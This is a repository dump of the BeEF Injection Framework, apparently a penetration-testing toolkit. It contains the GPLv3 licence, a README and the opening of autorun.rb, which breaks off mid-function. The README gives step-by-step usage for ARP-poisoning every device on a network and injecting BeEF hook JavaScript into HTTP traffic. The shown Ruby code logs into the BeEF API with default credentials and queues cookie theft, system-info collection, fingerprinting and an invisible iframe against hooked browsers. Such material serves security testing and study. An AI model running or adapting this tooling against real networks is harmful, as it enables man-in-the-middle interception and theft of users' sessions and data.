├── LICENSE.txt ├── README.txt ├── autorun.rb ├── dump_mod_info.rb ├── dump_results.rb └── shank.rb /LICENSE.txt: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.txt: -------------------------------------------------------------------------------- 1 | BeEF Injection Framework 2 | Ryan Linn 3 | Mike Ryan 4 | Steve Ocepek 5 | 6 | http://www.spiderlabs.com 7 | 8 | 9 | INTRODUCTION 10 | ============ 11 | 12 | These tools can be used with the BeEF Framework to easily execute 13 | MITM attacks. It includes the following tools: 14 | 15 | shank.rb Stateful ARP poisoner, L2 forwarder, Lover, JS injector 16 | autorun.rb Launches BeEF modules automatically based on events 17 | dump_mod_info.rb Lists all modules available for use with autorun 18 | dump_results.rb Parses JSON variables produced by autorun.rb and queries 19 | BeEF backend 20 | 21 | 22 | REQUIREMENTS 23 | ============ 24 | 25 | BeEF Framework (latest) 26 | Ruby 1.9 27 | PacketFu (latest) 28 | 29 | 30 | USAGE 31 | ===== 32 | 33 | 1. Launch BeEF 34 | 35 | 2. Launch shank.rb 36 | 37 | ruby shank.rb network 38 | 39 | where "network" is a valid CIDR address 40 | NOTE: Ensure that ip_forwarding is DISABLED 41 | 42 | 3. Launch autorun.rb 43 | 44 | ruby autorun.rb 45 | 46 | shank.rb will monitor the specified network for new devices and 47 | perform ARP poisoning against each. shank.rb will perform L2 48 | packet forwarding for each packet not destined for itself. HTTP 49 | packets will be modified to include BeEF javascript. 50 | 51 | Once hooked, autorun.rb takes care of launching attack modules 52 | against the client automatically. This module will also instruct 53 | shank to discontinue HTTP modification, since the target system 54 | has now been hooked in BeEF. 55 | 56 | COPYRIGHT 57 | ========= 58 | 59 | BeEF Injection Framework 60 | Created by Ryan Linn, Mike Ryan, and Steve Ocepek 61 | Copyright (C) 2012 Trustwave Holdings, Inc. 62 | 63 | This program is free software: you can redistribute it and/or modify 64 | it under the terms of the GNU General Public License as published by 65 | the Free Software Foundation, either version 3 of the License, or 66 | (at your option) any later version. 67 | 68 | This program is distributed in the hope that it will be useful, 69 | but WITHOUT ANY WARRANTY; without even the implied warranty of 70 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 71 | GNU General Public License for more details. 72 | 73 | You should have received a copy of the GNU General Public License 74 | along with this program. If not, see 75 | -------------------------------------------------------------------------------- /autorun.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/ruby 2 | 3 | # autorun.rb - Script to autolaunch BeEF modules 4 | # Created by Ryan Linn and Steve Ocepek 5 | # Copyright (C) 2012 Trustwave Holdings, Inc. 6 | # 7 | # This program is free software: you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation, either version 3 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # This program is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with this program. If not, see . 19 | 20 | require 'rest_client' 21 | require 'json' 22 | require 'pp' 23 | 24 | $stdout.sync = true 25 | # RESTful API root endpoints 26 | ATTACK_DOMAIN = "127.0.0.1" 27 | RESTAPI_HOOKS = "http://" + ATTACK_DOMAIN + ":3000/api/hooks" 28 | RESTAPI_LOGS = "http://" + ATTACK_DOMAIN + ":3000/api/logs" 29 | RESTAPI_MODULES = "http://" + ATTACK_DOMAIN + ":3000/api/modules" 30 | RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin" 31 | 32 | BEEF_USER = "beef" 33 | BEEF_PASSWD = "beef" 34 | 35 | @autorun_mods = [ 36 | { 'Invisible_iframe' => {'target' => 'http://192.168.50.52/' }}, 37 | { 'Browser_fingerprinting' => {}}, 38 | { 'Get_cookie' => {}}, 39 | { 'Get_system_info' => {}} 40 | 41 | ] 42 | @ses_cache = {} 43 | 44 | def login 45 | response = RestClient.post "#{RESTAPI_ADMIN}/login", 46 | { 'username' => "#{BEEF_USER}", 47 | 'password' => "#{BEEF_PASSWD}"}.to_json, 48 | :content_type => :json, 49 | :accept => :json 50 | @token = JSON.parse(response.body)['token'] 51 | end 52 | 53 | def get_alive 54 | response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @token}} 55 | result = JSON.parse(response.body) 56 | @hooks = result["hooked-browsers"]["online"] 57 | @alive_ips = [] 58 | @hooks.each do |hook| 59 | @alive_ips << hook[1]['ip'] 60 | @ses_cache[hook[1]['ip']] = hook[1]['session'] 61 | end 62 | end 63 | 64 | def get_mod_cache 65 | response = RestClient.get "#{RESTAPI_MODULES}", 